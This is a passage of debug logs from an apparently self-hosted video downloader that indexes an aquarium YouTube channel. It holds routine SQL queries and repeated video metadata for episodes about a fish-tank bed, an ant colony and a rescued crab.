@aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Sleep Tight!\" so I notice you 😴\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Turned my Bed into a Fish Tank!", "3242d195-ba74-4982-91b5-173ecb674b9c", "HH2gKrl22Fw", false, "https://www.youtube.com/watch?v=HH2gKrl22Fw", 32, [], 955, false, 2, "/downloads/shows/Aquarium Info/Season 2026/s2026e041800 - I Turned my Bed into a Fish Tank!.mkv", false, false, 98, ~U[2026-04-18 14:03:00Z], ~U[2026-06-03 15:12:48Z], ~U[2026-06-03 15:12:48Z], "I turned my bed into a REAL fish tank! \n\nIn this video, we spend 50 days turning my bed into a real tide pool fish tank! We fill it up with real fish, live corals and so much more! And if my fish tank bed doesn’t break... I’m spending the night on it.\n\n🐠 s/o to Andrew and the @PoloReef team for the help! Be sure to check out this video to learn more about Andrew’s passion for aquariums and how his epic 17,000 gallon tank was built: https://www.youtube.com/watch?v=DtK3hIBlRd8 \n\n♡ Get your Lucy & Lemon plush toys: https://aquariuminfo.com/ (worldwide shipping 🌎)\n☞ Your purchase directly helps care for the animals in the studio and supports us to make incredible content for you!\n\nSUBSCRIBE for a chance at the aquarium kit featuring a fish tank and Seachem products to get you started! \n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nThroughout this episode, our team faces many challenges, from the saltwater ecosystem almost crashing to a sneaky predator eating all our hermit crabs. We even use real-life robotics, 3D printing and automated engineering to solve our problems and craft solutions to fix our custom tidepool reef tank bed.\n\nWhile Jamie and Joelle build, Outdoor Adam travels to NYC to visit Andrew Sandler and @PoloReef. Adam’s mission is to learn about real tide pool saltwater ecosystems so the team can create the perfect tide pool bed ecosystem in Jamie’s dream bedroom.\n\nWatch until the end to see if Jamie sleeps in her new dream bedroom with a real tide pool under her! It’s always been a childhood dream to transform my bedroom into a fish tank and this is the closest I’ve gotten to turning my bedroom into a fish tank! This video is perfect for anyone who is passionate about bedroom makeovers, dream bedrooms, extreme room transformations, exotic pets, oceans, tide pools, wildlife rescue, DIY custom aquariums, marine biology and creating the perfect saltwater ecosystem for their pets.\n\nIf you have any comments, suggestions or questions for this waterbed dream bedroom transformation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Sleep Tight!\" so I notice you 😴\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Turned my Bed into a Fish Tank!", "HH2gKrl22Fw", "https://www.youtube.com/watch?v=HH2gKrl22Fw", 32, 955, false, "/downloads/shows/Aquarium Info/Season 2026/s2026e041800 - I Turned my Bed into a Fish Tank!.mkv", false, ~U[2026-04-18 14:03:00Z]] 11:12:48.545 [debug] QUERY OK source="sources" db=0.2ms idle=20.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:48.545 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:12:48.546 [debug] QUERY OK source="media_items" db=0.1ms idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [129938] 11:12:48.546 [debug] Current batch of media processed. Will check again in 1000ms 11:12:49.547 [debug] Current batch of media processed. Will check again in 1000ms 11:12:50.549 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "I simulated an ant colony for 100 days! \n\nWhat happens when two rival colonies of 1,000 ants go head-to-head in the ultimate rich vs. poor ecosystem simulation?? 🐜\n\nIn this video, we put two massive ant colonies up against each other in a series of intense obstacles. Starting with just 2 queen ants, we grew both colonies to over 1,000 ants over the course of 100 days. But there’s a twist: the colonies are divided by class… rich vs. poor. Each side has its own set of resources and must face extreme challenges, from spawning new life and suffering great losses, to fighting off a rare predator.\n\nWhen the 100 days are up, the two colonies finally meet face-to-face. Watch until the end to see the results of the simulation: will they become friends or will it end in total destruction?\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle + Chowder\n🦞 Mochi\n🐢 Harry \n🦐 Ralph, Zoey, Mira & Rumi \n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🪦 R.I.P. Kirby & Noodle\n\nWhile the indoor ant army is growing, Outdoor Adam heads into the wilderness to track down an ant colony in real life! His mission? To study wild ants so we can build the absolute perfect DIY ant ecosystem. A big thank you to Roberto at Caribe Sur Tours in Costa Rica for helping Adam on his jungle trek! Check them out here: https://caribesurcr.com/\n\nThis video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, DIY projects and creating the perfect ecosystem for their pet.\n\nIf you have any comments, suggestions or questions for this ant simulation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Greenies vs. Wastelanders\" so I notice you 🐜\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "duration" => 883, "filename" => "/downloads/shows/Aquarium Info/Season 2026/s2026e030100 - 1,000 Ants vs. 1,000 Ants (Rich vs. Poor).mkv", "id" => "0koP25v7-1c", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=0koP25v7-1c", "playlist_index" => 3, "timestamp" => 1772390561, "title" => "1,000 Ants vs. 1,000 Ants (Rich vs. Poor)", "upload_date" => "20260301"} 11:12:50.550 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=854.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [32] 11:12:50.551 [debug] QUERY OK source="sources" db=0.3ms idle=855.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:50.553 [debug] QUERY OK source="media_items" db=1.1ms idle=856.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-01 18:42:41Z], 32] 11:12:50.555 [debug] QUERY OK source="media_items" db=1.3ms idle=858.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I simulated an ant colony for 100 days! \n\nWhat happens when two rival colonies of 1,000 ants go head-to-head in the ultimate rich vs. poor ecosystem simulation?? 🐜\n\nIn this video, we put two massive ant colonies up against each other in a series of intense obstacles. Starting with just 2 queen ants, we grew both colonies to over 1,000 ants over the course of 100 days. But there’s a twist: the colonies are divided by class… rich vs. poor. Each side has its own set of resources and must face extreme challenges, from spawning new life and suffering great losses, to fighting off a rare predator.\n\nWhen the 100 days are up, the two colonies finally meet face-to-face. Watch until the end to see the results of the simulation: will they become friends or will it end in total destruction?\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle + Chowder\n🦞 Mochi\n🐢 Harry \n🦐 Ralph, Zoey, Mira & Rumi \n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🪦 R.I.P. Kirby & Noodle\n\nWhile the indoor ant army is growing, Outdoor Adam heads into the wilderness to track down an ant colony in real life! His mission? To study wild ants so we can build the absolute perfect DIY ant ecosystem. A big thank you to Roberto at Caribe Sur Tours in Costa Rica for helping Adam on his jungle trek! Check them out here: https://caribesurcr.com/\n\nThis video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, DIY projects and creating the perfect ecosystem for their pet.\n\nIf you have any comments, suggestions or questions for this ant simulation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Greenies vs. Wastelanders\" so I notice you 🐜\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "1,000 Ants vs. 1,000 Ants (Rich vs. Poor)", "dbfde7df-6462-4f37-87a3-e56aa303e95b", "0koP25v7-1c", false, "https://www.youtube.com/watch?v=0koP25v7-1c", 32, [], 883, false, 3, "/downloads/shows/Aquarium Info/Season 2026/s2026e030100 - 1,000 Ants vs. 1,000 Ants (Rich vs. Poor).mkv", false, false, 98, ~U[2026-03-01 18:42:41Z], ~U[2026-06-03 15:12:50Z], ~U[2026-06-03 15:12:50Z], "I simulated an ant colony for 100 days! \n\nWhat happens when two rival colonies of 1,000 ants go head-to-head in the ultimate rich vs. poor ecosystem simulation?? 🐜\n\nIn this video, we put two massive ant colonies up against each other in a series of intense obstacles. Starting with just 2 queen ants, we grew both colonies to over 1,000 ants over the course of 100 days. But there’s a twist: the colonies are divided by class… rich vs. poor. Each side has its own set of resources and must face extreme challenges, from spawning new life and suffering great losses, to fighting off a rare predator.\n\nWhen the 100 days are up, the two colonies finally meet face-to-face. Watch until the end to see the results of the simulation: will they become friends or will it end in total destruction?\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle + Chowder\n🦞 Mochi\n🐢 Harry \n🦐 Ralph, Zoey, Mira & Rumi \n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🪦 R.I.P. Kirby & Noodle\n\nWhile the indoor ant army is growing, Outdoor Adam heads into the wilderness to track down an ant colony in real life! His mission? To study wild ants so we can build the absolute perfect DIY ant ecosystem. A big thank you to Roberto at Caribe Sur Tours in Costa Rica for helping Adam on his jungle trek! Check them out here: https://caribesurcr.com/\n\nThis video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, DIY projects and creating the perfect ecosystem for their pet.\n\nIf you have any comments, suggestions or questions for this ant simulation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Greenies vs. Wastelanders\" so I notice you 🐜\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "1,000 Ants vs. 1,000 Ants (Rich vs. Poor)", "0koP25v7-1c", "https://www.youtube.com/watch?v=0koP25v7-1c", 32, 883, false, "/downloads/shows/Aquarium Info/Season 2026/s2026e030100 - 1,000 Ants vs. 1,000 Ants (Rich vs. Poor).mkv", false, ~U[2026-03-01 18:42:41Z]] 11:12:50.555 [debug] QUERY OK source="sources" db=0.2ms idle=27.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:50.556 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:12:50.556 [debug] QUERY OK source="media_items" db=0.2ms idle=5.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [117316] 11:12:50.556 [debug] Current batch of media processed. Will check again in 1000ms 11:12:51.557 [debug] Current batch of media processed. Will check again in 1000ms 11:12:52.558 [debug] Current batch of media processed. Will check again in 1000ms 11:12:53.559 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Meet Chowder, a baby blue crab I rescued from a restaurant! \n\nGet up to $350 and earn up to 3.50% APY with Chime here: https://chime.yt.link/CkQDaqT. Thanks Chime for sponsoring this video!\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nIn this video, we save a baby blue crab from a restaurant from being someone’s dinner. He arrives at our studio missing a claw and we call him Chowder, our one clawed prince. He is in really poor health, but slowly over time he grows stronger. I’m so happy I didn’t give up on him and his recovery! I’ve saved grocery store pets before, like Nibbles, my grocery store crab, Pickle, my grocery store king crab and Mochi, my grocery store lobster, and built them dream homes featuring SpongeBob’s Bikini Bottom and a secret bunker, so I knew I had to do something special for my new pet crab Chowder. I even surprise Chowder with an epic crab kingdom with 3D printed castles, turrets and more! \n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle + Chowder\n🦞 Mochi\n🐢 Harry \n🦐 Ralph, Zoey, Mira & Rumi \n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🪦 R.I.P. Kirby & Noodle\n\nIn this heartwarming episode, we embark on a rescue mission to save a restaurant crab named Chowder from becoming someone’s dinner. Witness his incredible journey back to health as we bring him home and build a massive saltwater ecosystem for him. I challenge myself to build the ultimate 5 star castle, featuring custom bridges, turrets and a private underwater bunker.\n\nWatch until the end to see what Chowder thinks of his new home!! This video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this rescue pet video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"King Chowder\" so I notice you 👑 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl\n\n$350 Intro Offer: Terms apply. Limited time only. Must open a new account and complete qualifying activities to earn up to $350. See chime.com/policies/newmemberofferv3 for details.\n3.50% Chime+ APY is only available to members who maintain eligibility for Chime+ status, otherwise the 1.00% APY will apply. APY means Annual Percentage Yield. No minimum balance required. See Chime.com for details. Chime Checking Account required to be eligible for a Savings Account.\nThe national average rate can be found on the FDIC's National Rates and Rate Caps website here: https://www.fdic.gov/national-rates-and-rate-caps.\nAutomatic Round Ups: Only debit card and credit card purchases can receive round-ups. Must receive a qualifying direct deposit of $1 or more.", "duration" => 789, "filename" => "/downloads/shows/Aquarium Info/Season 2026/s2026e013100 - I Turned a Restaurant Crab into a Pet....mkv", "id" => "Bl8h8ks400Y", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Bl8h8ks400Y", "playlist_index" => 4, "timestamp" => 1769875860, "title" => "I Turned a Restaurant Crab into a Pet...", "upload_date" => "20260131"} 11:12:53.560 [debug] QUERY OK source="sources" db=0.1ms idle=1864.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [32] 11:12:53.560 [debug] QUERY OK source="sources" db=0.1ms idle=1864.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:53.561 [debug] QUERY OK source="media_items" db=0.4ms idle=1865.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-31 16:11:00Z], 32] 11:12:53.565 [debug] QUERY OK source="media_items" db=4.0ms idle=1030.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Meet Chowder, a baby blue crab I rescued from a restaurant! \n\nGet up to $350 and earn up to 3.50% APY with Chime here: https://chime.yt.link/CkQDaqT. Thanks Chime for sponsoring this video!\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nIn this video, we save a baby blue crab from a restaurant from being someone’s dinner. He arrives at our studio missing a claw and we call him Chowder, our one clawed prince. He is in really poor health, but slowly over time he grows stronger. I’m so happy I didn’t give up on him and his recovery! I’ve saved grocery store pets before, like Nibbles, my grocery store crab, Pickle, my grocery store king crab and Mochi, my grocery store lobster, and built them dream homes featuring SpongeBob’s Bikini Bottom and a secret bunker, so I knew I had to do something special for my new pet crab Chowder. I even surprise Chowder with an epic crab kingdom with 3D printed castles, turrets and more! \n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle + Chowder\n🦞 Mochi\n🐢 Harry \n🦐 Ralph, Zoey, Mira & Rumi \n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🪦 R.I.P. Kirby & Noodle\n\nIn this heartwarming episode, we embark on a rescue mission to save a restaurant crab named Chowder from becoming someone’s dinner. Witness his incredible journey back to health as we bring him home and build a massive saltwater ecosystem for him. I challenge myself to build the ultimate 5 star castle, featuring custom bridges, turrets and a private underwater bunker.\n\nWatch until the end to see what Chowder thinks of his new home!! This video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this rescue pet video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"King Chowder\" so I notice you 👑 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my 